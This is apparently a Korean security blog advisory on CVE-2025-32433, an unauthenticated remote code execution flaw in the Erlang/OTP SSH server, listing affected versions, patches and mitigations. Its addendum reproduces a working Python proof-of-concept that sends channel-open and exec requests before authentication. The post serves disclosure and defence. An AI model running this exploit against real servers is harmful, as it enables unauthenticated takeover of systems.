1. Erlang/OTP SSH
- Erlang: 고가용성을 요구하는 대규모 확장 가능한 소프트 실시간 시스템을 구축하는 데 사용되는 프로그래밍 언어
- OTP(Open Telecom Platform): 이러한 시스템을 개발하는 데 필요한 미들웨어를 제공하는 Erlang 라이브러리와 설계 원칙의 집합 [1]
- Erlang/OTP SSH: Erlang 시스템에서 SSH(Secure Shell) 기능을 구현한 라이브러리 [2]
2. CVE-2025-32433
- Erlang/OTP SSH 라이브러리를 기반으로 하는 SSH 서버의 SSH 프로토콜 메시지 처리의 결함으로 인한 원격 코드 실행 취약점 (CVSS: 10.0)
> 악용에 성공할 경우 공격자는 인증 과정 없이 임의의 명령을 실행할 수 있음
> SSH 데몬이 루트로 실행 중인 경우 전체 액세스 권한을 가지게 됨
영향받는 버전
Erlang/OTP
- OTP-27.3.2 이하 버전
- OTP-26.2.5.10 이하 버전
- OTP-25.3.2.19 이하 버전
- RFC 4252: The Secure Shell (SSH) Authentication Protocol [4]
> 인증 프로토콜에서 사용되는 모든 SSH Message Numbers는 50 ~ 79 사이
> SSH Message Numbers가 80 이상인 경우 인증 프로토콜 이후 실행되는 프로토콜, 즉 인증 완료 후 과정을 위해 예약되어 있음
> 따라서, 인증이 완료되기 전 SSH Message Numbers가 80 이상인 경우 서버는 즉시 연결을 해제하여야 함
- 그러나 취약한 버전의 Erlang/OTP에서는 SSH 서버가 이 규칙을 적용하지 않음
> 공격자들이 인증되지 않은 단계에서 조작된 메시지를 주입할 수 있게 되어 무단으로 코드가 실행가능 [5]
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [6][7][8]
> 인증 여부를 handle_msg() 함수를 통해 검증하며, 실패 시 연결 거부
제품명 | 영향받는 버전 | 해결 버전 |
Erlang/OTP | <= OTP-27.3.2 | OTP-27.3.3 |
<= OTP-26.2.5.10 | OTP-26.2.5.11 | |
<= OTP-25.3.2.19 | OTP-25.3.2.20 |
- 업데이트가 불가한 경우
> SSH 포트에 대한 액세스를 신뢰할 수 있는 IP만 허용 및 신뢰할 수 없는 IP의 접근 차단
> Erlang/OTP 기반 SSH가 불필요한 경우 서비스 비활성화
4. 참고
[1] https://www.erlang.org/
[2] https://www.erlang.org/doc/apps/ssh/ssh.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-32433
[4] https://www.rfc-editor.org/rfc/rfc4252.html#section-6
[5] https://www.upwind.io/feed/cve-2025-32433-critical-erlang-otp-ssh-vulnerability-cvss-10#toc-section-2
[6] https://www.openwall.com/lists/oss-security/2025/04/16/2
[7] https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
[8] https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
[9] https://thehackernews.com/2025/04/critical-erlangotp-ssh-vulnerability.html
[10] https://news.ycombinator.com/item?id=43716526
=========================================================================
[내용 추가]
- SSH 연결 시 SSH_MSG-CHANNEL_OPEN과 SSH_MSG_CHANNEL_REQUEST 메시지는 인증 이후에만 전송되어야 함 [11]
> SSH 프로토콜 명세(RFC 4254)에 다르면 해당 메시지가 인증이 이루어지기 전에 전송되는 경우 연결을 종료
> 취약한 버전의 Erlang/OTP SSH는 해당 규칙을 적용하지 않아 공격자가 인증 없이 세션을 맺고 exec 명령을 실행할 수 있음
구분 | 설명 |
SSH_MSG-CHANNEL_OPEN | - Message Number : 90 - 사용자가 인증을 완료한 후 새로운 채널(세션)을 생성하기 위해 사용 |
SSH_MSG_CHANNEL_REQUEST | - Message Number : 98 - 생성된 채널(세션)을 통해 명령 실행(exec) 등을 요청할 때 사용 |
- PoC [12]
① 클라이언트(공격자)와 서버는 SSH 세션을 시작하기 위해 버전 정보를 교환하여 프로토콜 호환성 확인
② 클라이언트(공격자)는 SSH_MSG_KEXINIT 패킷을 전송해 키 교환, 암호화 알고리즘, 압축 옵션 등을 결정
③ 초기 키 교환 후 클라이언트(공격자)는 SSH_MSG_CHANNEL_OPEN 메시지를 통해 세션 채널 생성 요청
④ 클라이언트(공격자)는 SSH_MSG_CHANNEL_REQUEST 메시지를 전송해 생성된 채널을 통해 명령을 실행하도록 요청
import socket
import struct
import time
HOST = "127.0.0.1" # Target IP (change if needed)
PORT = 2222 # Target port (change if needed)
# Helper to format SSH string (4-byte length + bytes)
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
# Builds SSH_MSG_CHANNEL_OPEN for session
def build_channel_open(channel_id=0):
return (
b"\x5a" # SSH_MSG_CHANNEL_OPEN
+ string_payload("session")
+ struct.pack(">I", channel_id) # sender channel ID
+ struct.pack(">I", 0x68000) # initial window size
+ struct.pack(">I", 0x10000) # max packet size
)
# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id=0, command=None):
if command is None:
command = 'file:write_file("/lab.txt", <<"pwned">>).'
return (
b"\x62" # SSH_MSG_CHANNEL_REQUEST
+ struct.pack(">I", channel_id)
+ string_payload("exec")
+ b"\x01" # want_reply = true
+ string_payload(command)
)
# Builds a minimal but valid SSH_MSG_KEXINIT packet
def build_kexinit():
cookie = b"\x00" * 16
def name_list(l):
return string_payload(",".join(l))
# Match server-supported algorithms from the log
return (
b"\x14"
+ cookie
+ name_list(
[
"curve25519-sha256",
"ecdh-sha2-nistp256",
"diffie-hellman-group-exchange-sha256",
"diffie-hellman-group14-sha256",
]
) # kex algorithms
+ name_list(["rsa-sha2-256", "rsa-sha2-512"]) # host key algorithms
+ name_list(["aes128-ctr"]) * 2 # encryption client->server, server->client
+ name_list(["hmac-sha1"]) * 2 # MAC algorithms
+ name_list(["none"]) * 2 # compression
+ name_list([]) * 2 # languages
+ b"\x00"
+ struct.pack(">I", 0) # first_kex_packet_follows, reserved
)
# Pads a packet to match SSH framing
def pad_packet(payload, block_size=8):
min_padding = 4
padding_len = block_size - ((len(payload) + 5) % block_size)
if padding_len < min_padding:
padding_len += block_size
return (
struct.pack(">I", len(payload) + 1 + padding_len)
+ bytes([padding_len])
+ payload
+ bytes([0] * padding_len)
)
# === Exploit flow ===
try:
with socket.create_connection((HOST, PORT), timeout=5) as s:
print("[*] Connecting to SSH server...")
# 1. Banner exchange
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)
print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
time.sleep(0.5) # Small delay between packets
# 2. Send SSH_MSG_KEXINIT
print("[*] Sending SSH_MSG_KEXINIT...")
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))
time.sleep(0.5) # Small delay between packets
# 3. Send SSH_MSG_CHANNEL_OPEN
print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))
time.sleep(0.5) # Small delay between packets
# 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
chan_req = build_channel_request(
command='file:write_file("/lab.txt", <<"pwned">>).'
)
s.sendall(pad_packet(chan_req))
print(
"[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt."
)
# Try to receive any response (might get a protocol error or disconnect)
try:
response = s.recv(1024)
print(f"[+] Received response: {response.hex()}")
except socket.timeout:
print("[*] No response within timeout period (which is expected)")
except Exception as e:
print(f"[!] Error: {e}")
참고
[11] https://www.keysight.com/blogs/en/tech/nwvs/2025/05/23/cve-2025-32433-erlang-otp-ssh-server-rce
[12] https://github.com/ProDefense/CVE-2025-32433
'취약점 > RCE' 카테고리의 다른 글
Wazuh Manager 원격 코드 실행 취약점 (CVE-2025-24016) (1) | 2025.06.13 |
---|---|
ConnectWise ScreenConnect 역직렬화 취약점 (CVE-2025-3935) (0) | 2025.06.03 |
Langflow 임의 코드 실행 취약점 (CVE-2025-3248) (0) | 2025.04.16 |
Apache Tomcat 원격 코드 실행 취약점 (CVE-2025-24813) (0) | 2025.03.25 |
Kibana 임의 코드 실행 취약점 (CVE-2025-25015) (0) | 2025.03.15 |